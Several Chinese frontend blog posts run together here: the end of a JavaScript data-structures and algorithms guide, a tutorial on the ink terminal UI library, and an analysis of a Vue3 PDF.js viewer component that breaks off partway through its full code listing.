    if (!this.vertices.has(vertex1)) {
      this.addVertex(vertex1);
    }
    if (!this.vertices.has(vertex2)) {
      this.addVertex(vertex2);
    }
    
    this.vertices.get(vertex1).add(vertex2);
    
    if (!this.isDirected) {
      this.vertices.get(vertex2).add(vertex1);
    }
  }
  
  // 深度优先遍历
  dfs(startVertex, callback) {
    const visited = new Set();
    
    const dfsVisit = (vertex) => {
      visited.add(vertex);
      callback && callback(vertex);
      
      const neighbors = this.vertices.get(vertex);
      for (const neighbor of neighbors) {
        if (!visited.has(neighbor)) {
          dfsVisit(neighbor);
        }
      }
    };
    
    dfsVisit(startVertex);
  }
  
  // 广度优先遍历
  bfs(startVertex, callback) {
    const visited = new Set([startVertex]);
    const queue = [startVertex];
    
    while (queue.length > 0) {
      const vertex = queue.shift();
      callback && callback(vertex);
      
      const neighbors = this.vertices.get(vertex);
      for (const neighbor of neighbors) {
        if (!visited.has(neighbor)) {
          visited.add(neighbor);
          queue.push(neighbor);
        }
      }
    }
  }
  
  // 最短路径(BFS)
  shortestPath(startVertex, endVertex) {
    if (!this.vertices.has(startVertex) || !this.vertices.has(endVertex)) {
      return null;
    }
    
    const visited = new Set([startVertex]);
    const queue = [startVertex];
    const predecessors = new Map();
    const distances = new Map();
    
    distances.set(startVertex, 0);
    
    while (queue.length > 0) {
      const vertex = queue.shift();
      
      if (vertex === endVertex) {
        return this._buildPath(predecessors, startVertex, endVertex);
      }
      
      const neighbors = this.vertices.get(vertex);
      for (const neighbor of neighbors) {
        if (!visited.has(neighbor)) {
          visited.add(neighbor);
          predecessors.set(neighbor, vertex);
          distances.set(neighbor, distances.get(vertex) + 1);
          queue.push(neighbor);
        }
      }
    }
    
    return null;
  }
  
  _buildPath(predecessors, start, end) {
    const path = [end];
    let current = end;
    
    while (current !== start) {
      current = predecessors.get(current);
      path.unshift(current);
    }
    
    return path;
  }
  
  // 拓扑排序(仅适用于有向无环图)
  topologicalSort() {
    if (!this.isDirected) {
      throw new Error('拓扑排序仅适用于有向图');
    }
    
    const visited = new Set();
    const stack = [];
    
    const visit = (vertex) => {
      visited.add(vertex);
      
      const neighbors = this.vertices.get(vertex);
      for (const neighbor of neighbors) {
        if (!visited.has(neighbor)) {
          visit(neighbor);
        }
      }
      
      stack.push(vertex);
    };
    
    for (const vertex of this.vertices.keys()) {
      if (!visited.has(vertex)) {
        visit(vertex);
      }
    }
    
    return stack.reverse();
  }
}
6.2 Dijkstra最短路径算法
class WeightedGraph {
  constructor() {
    this.adjacencyList = new Map();
  }
  
  addVertex(vertex) {
    if (!this.adjacencyList.has(vertex)) {
      this.adjacencyList.set(vertex, []);
    }
  }
  
  addEdge(vertex1, vertex2, weight) {
    this.adjacencyList.get(vertex1).push({ node: vertex2, weight });
    this.adjacencyList.get(vertex2).push({ node: vertex1, weight });
  }
  
  dijkstra(start, end) {
    const nodes = new PriorityQueue();
    const distances = new Map();
    const previous = new Map();
    const path = [];
    
    // 初始化
    for (const vertex of this.adjacencyList.keys()) {
      if (vertex === start) {
        distances.set(vertex, 0);
        nodes.enqueue(vertex, 0);
      } else {
        distances.set(vertex, Infinity);
        nodes.enqueue(vertex, Infinity);
      }
      previous.set(vertex, null);
    }
    
    while (!nodes.isEmpty()) {
      const smallest = nodes.dequeue().value;
      
      if (smallest === end) {
        // 构建路径
        let current = end;
        while (current) {
          path.unshift(current);
          current = previous.get(current);
        }
        break;
      }
      
      if (smallest && distances.get(smallest) !== Infinity) {
        for (const neighbor of this.adjacencyList.get(smallest)) {
          const candidate = distances.get(smallest) + neighbor.weight;
          
          if (candidate < distances.get(neighbor.node)) {
            distances.set(neighbor.node, candidate);
            previous.set(neighbor.node, smallest);
            nodes.enqueue(neighbor.node, candidate);
          }
        }
      }
    }
    
    return path.length > 1 ? path : [];
  }
}

// 优先队列实现
class PriorityQueue {
  constructor() {
    this.values = [];
  }
  
  enqueue(value, priority) {
    this.values.push({ value, priority });
    this.sort();
  }
  
  dequeue() {
    return this.values.shift();
  }
  
  sort() {
    this.values.sort((a, b) => a.priority - b.priority);
  }
  
  isEmpty() {
    return this.values.length === 0;
  }
}

七、散列表与哈希函数

7.1 自定义散列表实现
class HashTable {
  constructor(size = 53) {
    this.keyMap = new Array(size);
  }
  
  // 哈希函数
  _hash(key) {
    let total = 0;
    const PRIME = 31;
    
    for (let i = 0; i < Math.min(key.length, 100); i++) {
      const char = key[i];
      const value = char.charCodeAt(0) - 96;
      total = (total * PRIME + value) % this.keyMap.length;
    }
    
    return total;
  }
  
  // 二次哈希解决冲突
  _hash2(key) {
    let total = 0;
    const PRIME = 37;
    
    for (let i = 0; i < Math.min(key.length, 100); i++) {
      const char = key[i];
      const value = char.charCodeAt(0) - 96;
      total = (total * PRIME + value) % this.keyMap.length;
    }
    
    return total || 1; // 确保不为0
  }
  
  // 双重散列解决冲突
  _doubleHash(key, attempt) {
    const hash1 = this._hash(key);
    const hash2 = this._hash2(key);
    return (hash1 + attempt * hash2) % this.keyMap.length;
  }
  
  // 设置键值对
  set(key, value) {
    let attempt = 0;
    let index = this._doubleHash(key, attempt);
    
    // 处理冲突
    while (this.keyMap[index] && this.keyMap[index][0] !== key) {
      attempt++;
      index = this._doubleHash(key, attempt);
      
      if (attempt > this.keyMap.length) {
        throw new Error('哈希表已满');
      }
    }
    
    this.keyMap[index] = [key, value];
  }
  
  // 获取值
  get(key) {
    let attempt = 0;
    let index = this._doubleHash(key, attempt);
    
    while (this.keyMap[index]) {
      if (this.keyMap[index][0] === key) {
        return this.keyMap[index][1];
      }
      attempt++;
      index = this._doubleHash(key, attempt);
    }
    
    return undefined;
  }
  
  // 获取所有键
  keys() {
    const keysArr = [];
    
    for (let i = 0; i < this.keyMap.length; i++) {
      if (this.keyMap[i]) {
        keysArr.push(this.keyMap[i][0]);
      }
    }
    
    return keysArr;
  }
  
  // 获取所有值
  values() {
    const valuesArr = [];
    
    for (let i = 0; i < this.keyMap.length; i++) {
      if (this.keyMap[i]) {
        // 避免重复值
        if (!valuesArr.includes(this.keyMap[i][1])) {
          valuesArr.push(this.keyMap[i][1]);
        }
      }
    }
    
    return valuesArr;
  }
}

八、排序算法优化

8.1 快速排序优化
class SortingAlgorithms {
  // 快速排序(原地排序)
  static quickSort(arr, left = 0, right = arr.length - 1) {
    if (left < right) {
      const pivotIndex = this.partition(arr, left, right);
      this.quickSort(arr, left, pivotIndex - 1);
      this.quickSort(arr, pivotIndex + 1, right);
    }
    return arr;
  }
  
  static partition(arr, left, right) {
    const pivot = arr[Math.floor((left + right) / 2)];
    let i = left;
    let j = right;
    
    while (i <= j) {
      while (arr[i] < pivot) {
        i++;
      }
      while (arr[j] > pivot) {
        j--;
      }
      if (i <= j) {
        [arr[i], arr[j]] = [arr[j], arr[i]];
        i++;
        j--;
      }
    }
    
    return i;
  }
  
  // 归并排序
  static mergeSort(arr) {
    if (arr.length <= 1) return arr;
    
    const mid = Math.floor(arr.length / 2);
    const left = this.mergeSort(arr.slice(0, mid));
    const right = this.mergeSort(arr.slice(mid));
    
    return this.merge(left, right);
  }
  
  static merge(left, right) {
    const result = [];
    let i = 0;
    let j = 0;
    
    while (i < left.length && j < right.length) {
      if (left[i] < right[j]) {
        result.push(left[i]);
        i++;
      } else {
        result.push(right[j]);
        j++;
      }
    }
    
    return result.concat(left.slice(i), right.slice(j));
  }
  
  // 堆排序
  static heapSort(arr) {
    const n = arr.length;
    
    // 构建最大堆
    for (let i = Math.floor(n / 2) - 1; i >= 0; i--) {
      this.heapify(arr, n, i);
    }
    
    // 一个个提取元素
    for (let i = n - 1; i > 0; i--) {
      [arr[0], arr[i]] = [arr[i], arr[0]];
      this.heapify(arr, i, 0);
    }
    
    return arr;
  }
  
  static heapify(arr, n, i) {
    let largest = i;
    const left = 2 * i + 1;
    const right = 2 * i + 2;
    
    if (left < n && arr[left] > arr[largest]) {
      largest = left;
    }
    
    if (right < n && arr[right] > arr[largest]) {
      largest = right;
    }
    
    if (largest !== i) {
      [arr[i], arr[largest]] = [arr[largest], arr[i]];
      this.heapify(arr, n, largest);
    }
  }
  
  // 性能比较
  static performanceTest() {
    const sizes = [1000, 10000, 100000];
    
    for (const size of sizes) {
      const arr = Array.from({ length: size }, () => 
        Math.floor(Math.random() * size)
      );
      
      console.log(`\n测试数组大小: ${size}`);
      
      // 快速排序
      const arr1 = [...arr];
      console.time('快速排序');
      this.quickSort(arr1);
      console.timeEnd('快速排序');
      
      // 归并排序
      const arr2 = [...arr];
      console.time('归并排序');
      this.mergeSort(arr2);
      console.timeEnd('归并排序');
      
      // 堆排序
      const arr3 = [...arr];
      console.time('堆排序');
      this.heapSort(arr3);
      console.timeEnd('堆排序');
      
      // 内置排序
      const arr4 = [...arr];
      console.time('内置排序');
      arr4.sort((a, b) => a - b);
      console.timeEnd('内置排序');
    }
  }
}

九、搜索算法优化

9.1 二分查找及其变体
class SearchAlgorithms {
  // 标准二分查找
  static binarySearch(arr, target) {
    let left = 0;
    let right = arr.length - 1;
    
    while (left <= right) {
      const mid = Math.floor((left + right) / 2);
      
      if (arr[mid] === target) {
        return mid;
      } else if (arr[mid] < target) {
        left = mid + 1;
      } else {
        right = mid - 1;
      }
    }
    
    return -1;
  }
  
  // 查找第一个等于目标值的位置
  static binarySearchFirst(arr, target) {
    let left = 0;
    let right = arr.length - 1;
    let result = -1;
    
    while (left <= right) {
      const mid = Math.floor((left + right) / 2);
      
      if (arr[mid] >= target) {
        if (arr[mid] === target) {
          result = mid;
        }
        right = mid - 1;
      } else {
        left = mid + 1;
      }
    }
    
    return result;
  }
  
  // 查找最后一个等于目标值的位置
  static binarySearchLast(arr, target) {
    let left = 0;
    let right = arr.length - 1;
    let result = -1;
    
    while (left <= right) {
      const mid = Math.floor((left + right) / 2);
      
      if (arr[mid] <= target) {
        if (arr[mid] === target) {
          result = mid;
        }
        left = mid + 1;
      } else {
        right = mid - 1;
      }
    }
    
    return result;
  }
  
  // 查找第一个大于等于目标值的位置
  static binarySearchCeil(arr, target) {
    let left = 0;
    let right = arr.length - 1;
    let result = -1;
    
    while (left <= right) {
      const mid = Math.floor((left + right) / 2);
      
      if (arr[mid] >= target) {
        result = mid;
        right = mid - 1;
      } else {
        left = mid + 1;
      }
    }
    
    return result;
  }
  
  // 插值查找(适用于均匀分布的有序数组)
  static interpolationSearch(arr, target) {
    let low = 0;
    let high = arr.length - 1;
    
    while (low <= high && target >= arr[low] && target <= arr[high]) {
      if (low === high) {
        return arr[low] === target ? low : -1;
      }
      
      // 计算插值位置
      const pos = low + Math.floor(
        ((target - arr[low]) * (high - low)) / (arr[high] - arr[low])
      );
      
      if (arr[pos] === target) {
        return pos;
      } else if (arr[pos] < target) {
        low = pos + 1;
      } else {
        high = pos - 1;
      }
    }
    
    return -1;
  }
}

十、实际应用场景

10.1 虚拟DOM diff算法中的优化
class VNode {
  constructor(tag, props, children) {
    this.tag = tag;
    this.props = props || {};
    this.children = children || [];
    this.key = props && props.key;
  }
}

class VirtualDOM {
  // 简化的diff算法
  static diff(oldVNode, newVNode) {
    // 如果标签不同,直接替换
    if (oldVNode.tag !== newVNode.tag) {
      return { type: 'REPLACE', node: newVNode };
    }
    
    // 如果都有key且不同,移动节点
    if (oldVNode.key !== newVNode.key) {
      return { type: 'REORDER', moves: this.calculateMoves(oldVNode, newVNode) };
    }
    
    // 比较属性
    const propsPatches = this.diffProps(oldVNode.props, newVNode.props);
    
    // 比较子节点
    const childrenPatches = this.diffChildren(oldVNode.children, newVNode.children);
    
    return {
      type: 'UPDATE',
      props: propsPatches,
      children: childrenPatches
    };
  }
  
  static diffProps(oldProps, newProps) {
    const patches = {};
    const allKeys = new Set([
      ...Object.keys(oldProps),
      ...Object.keys(newProps)
    ]);
    
    for (const key of allKeys) {
      if (oldProps[key] !== newProps[key]) {
        patches[key] = newProps[key];
      }
    }
    
    return patches;
  }
  
  static diffChildren(oldChildren, newChildren) {
    const patches = [];
    const len = Math.max(oldChildren.length, newChildren.length);
    
    for (let i = 0; i < len; i++) {
      const oldChild = oldChildren[i];
      const newChild = newChildren[i];
      
      if (!oldChild && newChild) {
        patches.push({ type: 'INSERT', node: newChild });
      } else if (oldChild && !newChild) {
        patches.push({ type: 'REMOVE' });
      } else if (oldChild && newChild) {
        patches.push(this.diff(oldChild, newChild));
      }
    }
    
    return patches;
  }
  
  static calculateMoves(oldNode, newNode) {
    // 简化的移动计算,实际实现更复杂
    return [];
  }
}
10.2 状态管理中的优化
class OptimizedStore {
  constructor(reducer, initialState) {
    this.state = initialState;
    this.reducer = reducer;
    this.listeners = new Set();
    this.isDispatching = false;
  }
  
  getState() {
    if (this.isDispatching) {
      throw new Error('不能在reducer执行中获取状态');
    }
    return this.state;
  }
  
  dispatch(action) {
    if (this.isDispatching) {
      throw new Error('不能在reducer执行中dispatch');
    }
    
    try {
      this.isDispatching = true;
      this.state = this.reducer(this.state, action);
    } finally {
      this.isDispatching = false;
    }
    
    // 通知所有监听器
    this.listeners.forEach(listener => listener());
  }
  
  subscribe(listener) {
    this.listeners.add(listener);
    
    // 返回取消订阅的函数
    return () => {
      this.listeners.delete(listener);
    };
  }
  
  // 选择器优化:记忆化
  createSelector(...funcs) {
    const resultFunc = funcs.pop();
    const dependencies = funcs;
    let lastArgs = [];
    let lastResult;
    
    return (...args) => {
      if (lastArgs.length === args.length && 
          lastArgs.every((arg, i) => arg === args[i])) {
        return lastResult;
      }
      
      const dependenciesResults = dependencies.map(fn => fn(...args));
      lastResult = resultFunc(...dependenciesResults);
      lastArgs = args;
      
      return lastResult;
    };
  }
}

总结

JavaScript性能优化离不开对数据结构和算法的深入理解。本文涵盖了从基础数据结构到高级算法优化的完整体系,包括:

  1. 数据结构选择策略: 根据不同场景选择最合适的数据结构
  2. 链表及其变体: 单向链表、双向链表的实现与应用
  3. 栈和队列: 基础实现及其在算法中的应用
  4. 树结构: 二叉树、平衡树的实现与遍历优化
  5. 缓存机制: LRU缓存的实现原理
  6. 图算法: 遍历、最短路径等核心算法
  7. 散列表: 哈希函数设计与冲突解决
  8. 排序搜索: 各类算法的性能比较与优化
  9. 实际应用: 在前端框架和状态管理中的实践

在实际开发中,需要根据具体场景选择合适的数据结构和算法。对于大多数前端应用,合理使用Map、Set等内置数据结构,结合适当的算法优化,就能显著提升性能。对于复杂场景,则需要深入理解各种数据结构的特性,做出最优选择。

记住,没有绝对最优的数据结构,只有在特定场景下的最适合选择。持续学习和实践,才能在性能优化这条道路上越走越远。

Claude Code 使用的命令行 UI 库: ink(使用 react 编写命令行界面)

ink 是一个使用 react 编写界面的库。我编写了方便学习 ink 的网站 ink learn

如果在使用的过程中有任何需求或 bug ,可以通过: github.com/wutiange/in… 进行反馈。

1. Text

export default function App() {
    return (
        <>
            <Text color={'green'}>I am green</Text>
            <Text color={'black'} backgroundColor={'white'}>I am black on white</Text>
            <Text color={'#fff'}>I am white</Text>
            <Text bold>I am bold</Text>
            <Text underline>I am underline</Text>
            <Text strikethrough>I am strikethrough</Text>
            <Text inverse>I am inversed</Text>
        </>
    );
}

这是文字相关的设置,包括字体颜色,背景颜色,加粗等等。

  • color 文字颜色,可以是英文单词,也可以是十六进制的颜色值,只能输入 #rgb#rrggbb ,还可以设置 rgb(255, 0, 255)
  • backgroundColor 背景颜色,颜色值跟 color 相同;
  • bold 是否加粗;
  • underline 是否有下划线;
  • strikethrough 是否有删除线;
  • inverse color 是否反转,也就是颜色是否变成背景色;
  • wrap 换行策略

2. Box

Box 主要控制宽高/内外边距/边框等等。

  1. 宽高
const Example = () => (
    <>
        <Box width={4} borderStyle="classic">
            <Text>X</Text>
        </Box>

        <Box height={4} borderStyle="classic">
            <Text>X</Text>
        </Box>
    </>
);

其效果如下:

可以看到加上边框总共宽度和高度是 4 。宽度不指定的情况下是整个终端的宽度。

  1. 内边距
const Example = () => (
    <>
        <Box paddingTop={2} borderStyle="classic"><Text>Top</Text></Box>
        <Box paddingBottom={2} borderStyle="classic"><Text>Bottom</Text></Box>
        <Box paddingLeft={2} borderStyle="classic"><Text>Left</Text></Box>
        <Box paddingRight={2} borderStyle="classic"><Text>Right</Text></Box>
        <Box paddingX={2} borderStyle="classic"><Text>Left and right</Text></Box>
        <Box paddingY={2} borderStyle="classic"><Text>Top and bottom</Text></Box>
        <Box padding={2} borderStyle="classic"><Text>Top, bottom, left and right</Text></Box>
    </>
);

其效果为:

  1. 外边距
const Example = () => (
    <>
        <Box marginTop={2} borderStyle="classic"><Text>Top</Text></Box>
        <Box marginBottom={2} borderStyle="classic"><Text>Bottom</Text></Box>
        <Box marginLeft={2} borderStyle="classic"><Text>Left</Text></Box>
        <Box marginRight={2} borderStyle="classic"><Text>Right</Text></Box>
        <Box marginX={2} borderStyle="classic"><Text>Left and right</Text></Box>
        <Box marginY={2} borderStyle="classic"><Text>Top and bottom</Text></Box>
        <Box margin={2} borderStyle="classic"><Text>Top, bottom, left and right</Text></Box>
    </>
);

其效果为:

  1. 布局

ink 默认是采用 Yoga 进行布局的,默认是水平排列( display 只有两个值 flexnone ):

<Box>
  <Text>A</Text>
  <Text>B</Text>
  <Text>C</Text>
</Box>

其效果为:

我们可以利用 gap 属性来调整它们之间的距离。

<Box gap={2}>
  <Text>A</Text>
  <Text>B</Text>
  <Text>C</Text>
</Box>

其效果:

布局相关的属性同样也是支持的,比如:flexGrow, flexShrink, flexBasis, flexDirection, flexWrap, alignItems, alignSelf, justifyContent

  1. 边框
const Example = () => (
    <>
        <Box flexDirection="column">
            <Box>
                <Box borderStyle="single" marginRight={2}>
                        <Text>single</Text>
                </Box>
                <Box borderStyle="double" marginRight={2}>
                        <Text>double</Text>
                </Box>
                <Box borderStyle="round" marginRight={2}>
                        <Text>round</Text>
                </Box>
                <Box borderStyle="bold">
                        <Text>bold</Text>
                </Box>
            </Box>
            <Box marginTop={1}>
                <Box borderStyle="singleDouble" marginRight={2}>
                        <Text>singleDouble</Text>
                </Box>
                <Box borderStyle="doubleSingle" marginRight={2}>
                        <Text>doubleSingle</Text>
                </Box>
                <Box borderStyle="classic">
                        <Text>classic</Text>
                </Box>
            </Box>
        </Box>

        <Box
            borderStyle={{
                    topLeft: '↘',
                    top: '↓',
                    topRight: '↙',
                    left: '→',
                    bottomLeft: '↗',
                    bottom: '↑',
                    bottomRight: '↖',
                    right: '←'
            }}
        >
            <Text>Custom</Text>
        </Box>
    </>
);

其效果:

也可以给边框设置颜色,也可以不显示某一边的边框。

  1. 背景颜色

我在我的电脑上测试发现是不起作用的。

3. Newline

用于在文本中插入一行或多行换行符,必须在 Text 组件内部使用。

<Text>
  <Text color="green">Hello</Text>
  <Newline />
  <Text color="red">World</Text>
</Text>

其效果为:

4. Spacer

这个用于占位的,相当于 <div style="flex: 1" />

<>
  <Box>
    <Text>Left</Text>
    <Spacer />
    <Text>Right</Text>
  </Box>

  <Box flexDirection="column" height={10}>
    <Text>Top</Text>
    <Spacer />
    <Text>Bottom</Text>
  </Box>
</>

其效果为:

在 web 中还可以使用 marginTop: auto 代替,只不过 ink 目前我看到不支持。

5. Static

用于避免重复渲染的,如果我们使用 .map 的方式,那么每一次渲染列表中的每一个都会重复再次渲染,但是使用 Static 就不会。

import React, {useState, useEffect} from 'react';
import {render, Static, Box, Text} from 'ink';

const Example = () => {
    const [tests, setTests] = useState([]);

    useEffect(() => {
        let completedTests = 0;
        let timer;

        const run = () => {
            // Fake 10 completed tests
            if (completedTests++ < 10) {
                setTests(previousTests => [
                    ...previousTests,
                    {
                        id: previousTests.length,
                        title: `Test #${previousTests.length + 1}`
                    }
                ]);

                timer = setTimeout(run, 100);
            }
        };

        run();

        return () => {
            clearTimeout(timer);
        };
    }, []);

    return (
        <>
            {/* This part will be rendered once to the terminal */}
            <Static items={tests}>
                    {test => (
                            <Box key={test.id}>
                                    <Text color="green">✔ {test.title}</Text>
                            </Box>
                    )}
            </Static>

            {/* This part keeps updating as state changes */}
            <Box marginTop={1}>
                    <Text dimColor>Completed tests: {tests.length}</Text>
            </Box>
        </>
    );
};

render(<Example />);

其效果是每个 100ms 就会出现一个新的项。

使用 Static ,当 Test #1 渲染,下次列表改变了也不会重新渲染这个数据。可以封装组件打印日志来验证。

6. Transform

用于在输出到终端之前经过这个进行转换。

const Example = () => (
    <Transform transform={output => output.toUpperCase()}>
        <Text>Hello World</Text>
    </Transform>
);

其效果为:

7. useInput

用户接收用户的输入。

import React, {useState} from 'react';
import {render, Box, Text, useInput} from 'ink';

const UserInput = () => {
    const [message, setMessage] = useState('按箭头键或按 "q" 试试');

    useInput((input, key) => {
        if (input === 'q') {
                setMessage('收到 "q",这里通常会调用 exit() 结束程序');
                return;
        }

        if (key.leftArrow) {
                setMessage('← Left arrow pressed');
        } else if (key.rightArrow) {
                setMessage('→ Right arrow pressed');
        } else if (key.upArrow) {
                setMessage('↑ Up arrow pressed');
        } else if (key.downArrow) {
                setMessage('↓ Down arrow pressed');
        } else if (key.return) {
                setMessage('⏎ Enter pressed');
        }
    });

    return (
        <Box flexDirection="column">
            <Text color="green">{message}</Text>
            <Text dimColor>按方向键、Enter 或 "q" 观察上面的提示变化</Text>
        </Box>
    );
};

render(<UserInput />);

其中像字母这些通过 input 来拿到,而像 esc , return 等等通过 key 来取到。其中 key 可以取到的值有:

  • leftArrow 左
  • rightArrow 右
  • upArrow 上
  • downArrow 下
  • return Enter 键
  • escape Esc 键
  • ctrl Ctrl 键
  • tab
  • backspace
  • delete
  • pageUp
  • pageDown
  • meta

其他的就到网站进行学习,里面是交互的,可以一边修改代码一边看效果,学习起来更加轻松。

Vue3 PDF 预览组件设计与实现分析

Vue3 PDF 预览组件设计与实现分析

引言

PDF 预览是现代 Web 应用中常见的功能需求,尤其是在文档管理、在线阅读等场景下。本文将深入分析一个基于 Vue3 和 PDF.js 实现的高性能 PDF 预览组件,探讨其设计思路、核心功能和优化策略,为开发者提供参考。

组件整体架构

该组件采用 Vue3 的 Composition API 开发,结合 PDF.js 库实现 PDF 文档的加载、渲染和交互。整体架构分为以下几个主要部分:

1. 组件结构与布局

组件采用了清晰的三层布局结构:

  • 头部区域:包含标题和关闭按钮,用于展示文档标题和控制组件显示/隐藏
  • 内容区域:分为 PDF 页面容器和加载指示器
  • PDF 渲染区域:负责 PDF 页面的渲染和滚动显示
<template>
  <div class="pdf-viewer-container" ref="container">
    <div class="pdf-header">
      <!-- 头部标题和关闭按钮 -->
    </div>
    <div class="pdf-content">
      <div class="pdf-pages-wrapper">
        <div class="pdf-pages-container" ref="pagesContainer" @scroll.passive="handleScroll">
          <div class="pdf-canvas-container" ref="canvasContainer"></div>
        </div>
        <!-- PDF加载中指示器 -->
        <div class="spin-container" v-if="loading">
          <n-spin size="large" />
        </div>
      </div>
    </div>
  </div>
</template>

2. 核心状态管理

组件通过 Vue3 的响应式 API 管理关键状态:

状态变量 类型 作用
loading boolean 控制加载指示器显示
pdfDoc object PDF 文档实例
totalPages number 文档总页数
scale number 页面缩放比例
currentPageNumber number 当前页码
visiblePages number 可见区域前后渲染页数
renderedPages array 已渲染页面索引
pageHeight number 单页高度
renderingPages Set 正在渲染的页面集合
renderQueue array 页面渲染队列

核心功能实现

1. PDF 文档加载

组件在 onMounted 钩子中调用 initPDF 方法初始化 PDF 文档:

const initPDF = async () => {
  try {
    loading.value = true;
    await nextTick();
    
    const loadingTask = pdfjsLib.getDocument({
      url: props.src,
      cMapUrl: "/cmaps/",
      cMapPacked: true,
    });
    const doc = await loadingTask.promise;
    pdfDoc.value = doc;
    totalPages.value = doc.numPages;
    
    // 设置默认缩放比例和页面高度
    const defaultScale = 1.0;
    scale.value = defaultScale;
    
    if (totalPages.value > 0) {
      const firstPage = await doc.getPage(1);
      const viewport = firstPage.getViewport({ scale: defaultScale });
      pageHeight.value = viewport.height;
    }
    
    // 渲染可见区域页面
    await renderVisiblePages();
    loading.value = false;
  } catch (error) {
    loading.value = false;
    console.error("PDF加载失败:", error);
  }
};

2. 虚拟滚动机制

为了优化大型 PDF 文档的性能,组件实现了虚拟滚动机制,只渲染可见区域附近的页面:

  1. 可见区域计算:通过 getVisiblePageRange 方法计算当前可见区域需要渲染的页面范围
  2. 渲染队列管理:使用 renderQueueisRenderingQueue 控制页面渲染顺序
  3. 异步渲染:采用异步方式渲染页面,避免阻塞主线程
  4. 页面清理:自动清理不可见区域的页面,释放资源
const getVisiblePageRange = () => {
  if (!pagesContainer.value) return { start: 1, end: Math.min(visiblePages.value, totalPages.value) };
  const currentPage = currentPageNumber.value;
  let start = Math.max(1, currentPage - 5);
  let end = Math.min(totalPages.value, currentPage + 5);
  start = Math.max(1, start - 2);
  end = Math.min(totalPages.value, end + 2);
  return { start, end };
};

3. 页面渲染逻辑

页面渲染是组件的核心功能,通过 renderPage 方法实现:

  1. Canvas 创建与管理:为每个页面创建独立的 Canvas 元素,并按顺序插入到容器中
  2. 页面渲染:使用 PDF.js 的 page.render() 方法将页面内容渲染到 Canvas 上
  3. 缩放处理:根据当前缩放比例调整 Canvas 显示大小
  4. 错误处理:完善的错误捕获和日志记录机制
const renderPage = async (pageNum) => {
  if (!pdfDoc.value || !canvasContainer.value) return;
  if (pageNum < 1 || pageNum > totalPages.value) return;

  // 检查页面是否正在渲染中,如果是则跳过
  if (renderingPages.value.has(pageNum)) {
    return;
  }

  // 标记页面正在渲染
  renderingPages.value.add(pageNum);

  try {
    const page = await pdfDoc.value.getPage(pageNum);
    const viewport = page.getViewport({
      scale: 2.0,
      rotation: 0 
    });

    // 创建或获取 Canvas 元素
    let canvas = pageCanvasRefs.value[pageNum];
    if (!canvas) {
      // Canvas 创建逻辑...
    }

    // 设置 Canvas 尺寸
    canvas.width = Math.round(viewport.width);
    canvas.height = Math.round(viewport.height);

    // 获取绘图上下文并渲染页面
    const context = canvas.getContext('2d');
    if (!context) return;

    await page.render({
      canvasContext: context,
      viewport,
    }).promise;

    // 应用当前缩放比例
    canvas.style.transform = `scale(${scale.value})`;
  } catch (error) {
    console.error(`渲染页面 ${pageNum} 失败:`, error);
  } finally {
    // 标记页面渲染完成
    renderingPages.value.delete(pageNum);
  }
};

4. 滚动事件处理

组件通过监听滚动事件实现页面的动态加载和清理:

  1. 防抖处理:使用 lodash-esdebounce 函数优化滚动事件,避免频繁触发
  2. 当前页码计算:根据滚动位置计算当前浏览的页码
  3. 动态渲染:调用 renderVisiblePages 方法渲染可见区域页面
const handleScroll = debounce(() => {
  if (!pagesContainer.value) return;
  const scrollContainer = pagesContainer.value;
  const scrollTop = scrollContainer.scrollTop;
  const gap = props.pageGap || 20;
  const unit = pageHeight.value + gap;
  let page = 1;
  if (unit > 0) {
    page = Math.floor(scrollTop / unit) + 1;
  }
  if (page < 1) page = 1;
  if (page > totalPages.value) page = totalPages.value;
  currentPageNumber.value = page;
  renderVisiblePages();
}, 500);

性能优化策略

1. 虚拟滚动优化

  • 渲染范围控制:只渲染可见区域前后各 7 页(总共 15 页左右)
  • 动态清理:自动清理距离可见区域较远的页面,释放内存和 DOM 节点
  • 渲染队列:采用队列机制管理页面渲染,避免同时渲染过多页面导致性能问题

2. 渲染性能优化

  • 高分辨率渲染:使用 2.0 倍缩放渲染 Canvas,提高页面清晰度
  • 按需渲染:仅在页面进入可见区域时渲染,避免不必要的计算和绘制
  • 异步渲染:页面渲染采用异步方式,不阻塞主线程

3. 内存管理

  • Canvas 复用:对于已经渲染过的页面,保存 Canvas 引用,避免重复创建
  • 及时清理:组件卸载时释放 PDF 文档实例和 Canvas 资源
  • 渲染状态管理:使用 Set 数据结构跟踪正在渲染的页面,避免重复渲染

代码亮点与最佳实践

1. 事件处理优化

  • 使用 passive 滚动事件@scroll.passive="handleScroll" 提高滚动性能
  • 防抖处理:减少滚动事件触发频率,优化性能

2. 组件生命周期管理

在组件卸载时,释放所有资源,避免内存泄漏:

onUnmounted(() => {
  if (pdfDoc.value) {
    pdfDoc.value.destroy();
  }
  for (const key in pageCanvasRefs.value) {
    const c = pageCanvasRefs.value[Number(key)];
    if (c && c.parentNode) c.parentNode.removeChild(c);
  }
  pageCanvasRefs.value = {};
  renderedPages.value = [];
});

应用场景与扩展方向

该组件适用于以下场景:

  • 文档管理系统:用于在线预览上传的 PDF 文档
  • 在线阅读平台:提供流畅的 PDF 阅读体验
  • 报表系统:用于预览和导出报表文档
  • 教育平台:在线教材、课件预览

扩展方向

  • 添加页码导航:允许用户直接跳转到指定页码
  • 实现缩放控制:提供缩放按钮,允许用户调整页面大小
  • 添加文本搜索功能:支持在 PDF 文档中搜索文本
  • 实现页面旋转:允许用户旋转页面方向
  • 添加书签功能:支持添加和管理文档书签

总结

本文深入分析了一个基于 Vue3 和 PDF.js 实现的高性能 PDF 预览组件,探讨了其设计思路、核心功能和优化策略。该组件通过虚拟滚动、按需渲染、异步处理等技术,实现了高效的 PDF 文档预览功能,具有良好的性能表现和用户体验。

对于开发者来说,该组件提供了一个优秀的参考案例,展示了如何在 Vue3 项目中实现复杂的第三方库集成和高性能交互功能。通过学习其设计思想和实现细节,开发者可以更好地理解和应用 Vue3 的 Composition API,以及如何进行前端性能优化。

随着 Web 技术的不断发展,PDF 预览功能的需求将越来越多样化和复杂化。开发者可以在此基础上,结合实际业务需求,进一步扩展和优化该组件,提供更加丰富和高效的 PDF 预览体验。

全部代码

<template>
  <div class="pdf-viewer-container" ref="container">
    <div class="pdf-header">
      <div class="pdf-header-title">
        <h2>{{ props.title }}</h2>
      </div>
      <div class="pdf-header-actions">
        <n-button quaternary circle @click="close">
          <template #icon>
            <n-icon>
              <Close />
            </n-icon>
          </template>
        </n-button>
      </div>
    </div>
    <div class="pdf-content">
      <!-- 右侧主内容 - 多页容器 -->
      <div class="pdf-pages-wrapper">
        <div class="pdf-pages-container" ref="pagesContainer" :style="{
          position: 'absolute',
          top: '0',
          right: '0',
